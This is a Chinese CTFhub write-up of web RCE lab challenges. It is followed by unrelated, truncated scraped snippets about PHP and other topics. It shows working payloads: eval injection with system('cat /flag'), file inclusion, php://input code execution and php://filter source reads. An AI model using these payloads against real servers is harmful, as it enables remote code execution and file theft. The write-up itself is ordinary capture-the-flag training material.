CTFhub技能树_Web RCE

2023-11-14

一、eval执行

1.分析:

打开网站显示如下代码:

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

大体意思是:判断cmd是否被设置,若cmd被赋值,则执行如下语句,否则就继续显示以上代码。

eval($_REQUEST["cmd"]);

其中:

eval():该函数可以把字符串作为PHP代码执行
$_REQUEST['']:GETPOST类似,不过反应速度比较慢

2.题解:

首先用?cmd=system("ls");查看一下根目录
此时显示 index.php

继续看上一级文件 ?cmd=system("ls /");

在这里插入图片描述
flag文件很显眼

使用?cmd=system("cat /文件名");打开文件得到flag

在这里插入图片描述


二、文件包含

简略题解:

?file=shell.txt&ctfhub=system("cat /flag");


三、php://input

1.知识点:

php://input是什么?
php:// ~ 来访问各个输入/输出流(I/O streams),php://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。
它是PHP中一个只读的协议,使用时会将请求放在body中

简单的说php://input用于执行php代码
(本题可用burpsuite)

2.简略题解:

先使用:
?file=php://input
用bp代理,加入请求后

<?php system("cat /flag");?>

重发,得到flag


四、读取源代码

1.知识点: php://filter

php://filter用于读取源码

2.简单题解:

?file=php://filter/convert.base64-encode/resource=/flag
得到flag


五、远程包含:

简略题解:

?file=php://filter/convert.base64-encode/resource=phpinfo.php


六、总结:

【php://协议】
条件
不需要开启allow_url_fopen
仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码,php://input用于执行php代码。

注意:php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:
php://filter在双off的情况下也可以正常使用;
即:
allow_url_fopen :off/on
allow_url_include:off/on

在这里插入图片描述
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
在这里插入图片描述
整理转载自:https://www.cnblogs.com/zzjdbk/p/13030717.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFhub技能树_Web RCE 的相关文章

  • jetty服务器运行php代码

    我想配置让jetty运行PHP文件 但到目前为止还没有成功 我在 Eclipse IDE 中安装了 Jetty WTP 工具 当我启动 Jetty 服务器时 我得到了例外 java lang ClassNotFoundException o
  • PHPUnit 和来自 Guzzle 的模拟请求

    我有一堂具有以下功能的课程 public function get string uri stdClass this gt client new Client response this gt client gt request GET u
  • 如何用PHP进行有向图绘制?

    我正在寻找一种在 PHP 中绘制有向图的方法 如http upload wikimedia org wikipedia commons 0 08 Directed acirclic graph png http upload wikimed
  • 如何显示多维数组第二层的 json 值?

    解决此代码时遇到问题 这些是数组 Array 0 gt stdClass Object id gt 1 name gt delux price gt 213 description gt tv gt 0 breakfast gt 0 par
  • PDO::commit 之后使用 PDOStatement::rowCount 结果?

    在 MySQL 文档中 有一个关于使用的注释mysql affected rows事务提交后 http php net manual en function mysql affected rows php http php net manu
  • PHP中特殊字符的转换

    我已经尝试了很多功能 但我根本无法弄清楚这一点 无论如何 正确的方法 在称为描述的表单字段中 我可以期待各种字符 在将它们提交到数据库之前 需要将它们格式化为 HTML 实体 现在 我的代码 formdesc htmlentities PO
  • PHP:file_get_contents 与 json_decode 不能一起工作

    使用 file get contents 读取 json 文件后遇到问题 当我运行这段代码时 它工作正常
  • 需要有关使用 PHP 在 mysql 数据库中插入逗号分隔数据的帮助

    数据库表中已有的演示数据 INSERT INTO csvtbl ID SKU Product Name Model Make Year From Year To VALUES 1 C2AZ 3B584 AR Power Steering P
  • 登录代码示例已通过 SQL 注入被黑客攻击,尽管 mysql_real_escape_string...

    我使用 CodeIgniter 但在黑客攻击方面遇到了麻烦 是否可以对以下登录代码进行 SQL 注入 function process login username mysql real escape string this gt inpu
  • Blueimp jQuery 文件上传,传递额外的表单数据

    我可以使用一些帮助 我已经设法使 blueimp jQuery 文件上传为我工作 但我仍然绝对是一个新手 我对 jQuery 等知之甚少 所以请尝试将其清晰明了地提供给我尽可能简单 我会尝试具体一点 好的 我想实现的是人们可以上传照片 并为
  • php在html页面中创建额外空间

    我是网络开发新手 我真的被这个愚蠢的问题困扰了 当我在 html 代码之前插入 php 代码时 如下所示 它在我的页面顶部创建了额外的空白空间 并将整个内容 推下 是否有可能以某种方式避免创建额外的空间 如果 php 代码位于 html 的
  • 如何使用表单上的提交按钮传递参数

    我想创建一个可以更改 PHP 制作的 mySQL 中的产品数据的程序 我有自动递增并指定每个产品的键列 当我单击编辑产品链接时 它将传递我从每个产品获得的键值 并链接到 editPage php Key data Key a href ed
  • PHP 和 ADODB 连接失败

    我的任务是迁移服务器 这包括移动我没有构建的应用程序 其中一些具有 ADODB connection 我似乎无法在新服务器上修复它 我只得到空白屏幕 我已经对 ADODB connection 与 PHP 进行了相当广泛的研究 但找不到明确
  • 使用 PHP 5.3 ?: 运算符

    有了这个测试页 page int GET page 1 echo page 我不明白页面未定义时得到的输出 Request Result page 2 2 page 3 3 page 1 error Undefined index page
  • 何时以及为何应使用 $_REQUEST 而不是 $_GET / $_POST / $_COOKIE?

    标题中的问题 当所有 3 个都发生时会发生什么 GET foo POST foo and COOKIE foo exist 其中哪一个被包含到 REQUEST 我想说永远不会 如果我想通过各种方法设置某些内容 我会为每个方法编写代码以提醒自
  • 为 SimpleXMLElements 数组编写 foreach 循环

    我正在使用 PHP 5 中的 XPath 来解析 XML 文档 我遇到的问题是写一个foreach正确显示以下数组 XML 文档示例 值1 值2 xmlfile link to file xml xmlRaw file get conten
  • PHP 与 .= 相反

    这个问题不太可能对任何未来的访客有帮助 它只与一个较小的地理区域 一个特定的时间点或一个非常狭窄的情况相关 通常不适用于全世界的互联网受众 为了帮助使这个问题更广泛地适用 访问帮助中心 help reopen questions 有谁知道是
  • php 崩溃后 mysql 表被锁定

    我有一个 MySQL DB 和一个 innoDB 表 我有一个 php 页面 用于连接 锁定表 进行一些更新 然后解锁表 PHP 页面通过 wamp 与 apache 一起提供 php页面将文件上传到数据库 我决定通过上传一个大小大于分配给
  • 如何在 Laravel 中创建一条包罗万象的路线

    我需要一个 Laravelroutes php将捕获所有流量到特定的条目example com premium section网站 以便我可以提示人们在访问优质内容之前成为会员 您还可以通过在参数上使用正则表达式来捕获 全部 Route g
  • SQL 大表中的随机行(使用 where 子句)

    我有一个网站 人们可以在其中对汽车进行投票 向用户展示 4 辆汽车 他 她可以投票选出他们最喜欢的汽车 桌子cars有重要的列 car id int 10 not auto increment so has gaps views int 7

随机推荐

  • 解决ubuntu20搜狗输入法输入不了中文问题

    解决在ubuntu上安装好搜狗输入法后无法输入中文 首先按照官网的安装步骤安装 Ubuntu搜狗输入法安装指南 注意不要忘记安装依赖 输以下命令进行安装 sudo apt install libqt5qml5 libqt5quick5 li
  • 接口测试的测试用例该怎么写呢?

    作者 字节开发测试 链接 https www zhihu com question 305629217 answer 2530044958 来源 知乎 著作权归作者所有 商业转载请联系作者获得授权 非商业转载请注明出处 一 什么是接口 接口
  • Python的exec

    目录 exec 简单使用 动态执行简单的字符串代码 动态执行较复杂的代码 执行文件中的Python代码 在exec中传参 使用中遇到的问题 参考 exec 简单使用 个人比较喜欢用Python里面的exec 可以用来动态执行字符串代码 在f
  • bootstrap方法_自助法(bootstrap)在统计检验中的应用及R语言实现过程

    Bootstrap 自助法 自举法 是非参数统计中一种重要的估计统计量方差 进而进行区间估计的统计方法 Bootstrap通过对给定数据集进行有放回的重抽样以创建多个模拟数据集 生成一系列待检验统计量的经验分布 可以计算标准误差 构建置信区
  • 随机数与简单的周期运动轨迹图案

    背景 概率论的书上有这样一个示例 设想某人在平面上从零点出发 手持一个均匀四面体 四面分别标有1 2 3 4 每个面代表一个方向 东南西北 他随意抛出后 按照这个方向走一单位长度 若干次后观测他走过的路线的轨迹 由此你有什么联想 联想倒是没
  • muduo学习笔记5——线程封装

    线程标识符 pthread self gettid thread gcc内置的线程局部存储设施 thread只能修饰POD类型 plain old data pthread atfork 线程标识符 Linux中 每个进程有一个pid 类型
  • Nginx 配置反向代理

    Nginx 配置反向代理 项目中有solrcloud的运用实例 这里拿来做反向代理的配置 solrJ客户端直接请求solr节点 用nginx为solrcloud的三个节点做统一入口处理 nginx与solr节点分布的情况如下 目的 solr
  • Typora使用笔记

    Typora使用笔记 简介 Markdown是轻量级标记语言 轻量 易读 易写且对图片 图表 公式等都有支持 Typora是比较简洁优雅的Markdown编辑器 正式版发布后要收费了 还是固定在0 11 18吧 以后有钱了就补票 Markd
  • 怎么找到一个好名字idea插件开发

    VFS简介 虚拟文件系统 VFS 是一个Intellij Platform组件 它封装了大部分对活动文件的处理操作 为了达成以下目的 提供一个处理文件的通用API 而不关心文件的具体位置 无论文件位于磁盘上 归档文件中还是HTTP服务器上
  • Java基础_JDK下载安装与配置

    文章目录 开始前准备 JDK下载 JDK安装 环境配置 验证环境配置是否成功 开始前准备 在配置JDK之前 我们需要先下载并安装好JDK 若已下载则可以跳过该环节 JDK和JRE的区别 JRE是运行环境 程序运行必需 JDK是开发环境 包含
  • Mysql—C语言API接口

    Mysql C语言API接口 一 mysql arp访问数据的操作流程 1 初始化mysql操作句柄 2 连接mysql服务器 3 设置mysql客户端字符集 保持与服务器一致 4 选择要操作的数据库 5 定义sql语句 并且执行语句 6
  • 超级楼梯

    有一楼梯共M级 刚开始时你在第一级 若每次只能跨上一级或二级 要走上第M级 共有多少种走法 Input 输入数据首先包含一个整数N 表示测试实例的个数 然后是N行数据 每行包含一个整数M 1 lt M lt 40 表示楼梯的级数 Outpu
  • 战双服务器信息保留多久,《战双帕弥什》6月10日服务器异常处理进度及补偿方案...

    尊敬的各位指挥官 真的十分抱歉 傍晚的服务器异常给大家带来了不好的游戏体验 我们恳请指挥官的原谅 经过慎重的考虑 我们公布本次服务器异常问题的处理方案如下 1 星火服 问题描述 部分指挥官发生了不同程度的数据异常 处理方案 我们决定统一将星
  • STM32——SD卡实验(SDIO方式)

    一 SD卡简介 1 什么是SD卡 SD卡 Secure Digital Memory Card 即 安全数码卡 它是在MMC的基础上发展而来 是一种基于半导体快闪记忆器的新一代记忆设备 它被广泛的用于便携装置上使用 例如数码相机 个人数码助
  • 【二分法】剑指offer:二维数组中的查找

    对于二维数组中每一个一维数组 用二分查找 判断能否找到该数 leetcode专题笔记 二分法查找 1 附leetcode题 m0 52043808的博客 CSDN博客 代码 class Solution public bool binsea
  • react useState自定义hook函数(管理多组件公共状态)

    效果图如下 代码如下 div div
  • 抓取房地产信息:一个Python爬虫实战案例

    目录 目录 1 准备工作 2 分析网页结构 3 编写爬虫 4 提取房源信息 5 输出结果
  • 结合Simulink仿真聊聊PID--理论部分

    如何理解PID PID这个名词一般是电子信息类的学生都不会陌生 它是控制领域非常常见的算法 并且经久不衰 P 比例 I 积分 D 微分 为什么需要用到PID呢 打一个比方 一个12v的电池装到小车上 设置50 的占空比 相当于在小车电机上的
  • document.get:fail Error: cannot find document with _id xx, please make sure that the document exists

    1 解决方案 修改权限 或 新建此数据集 2 详细解读 小程序入门云开发的时候总是会遇到这样的问题 而且很坑很难发现 Error errCode 1 errMsg document get fail Error cannot find do
  • CTFhub技能树_Web RCE

    一 eval执行 1 分析 打开网站显示如下代码 大体意思是 判断cmd是否被设置 若cmd被赋值 则执行如下语句 否则就继续显示以上代码 eval REQUEST cmd 其中 eval 该函数可以把字符串作为PHP代码执行 REQUES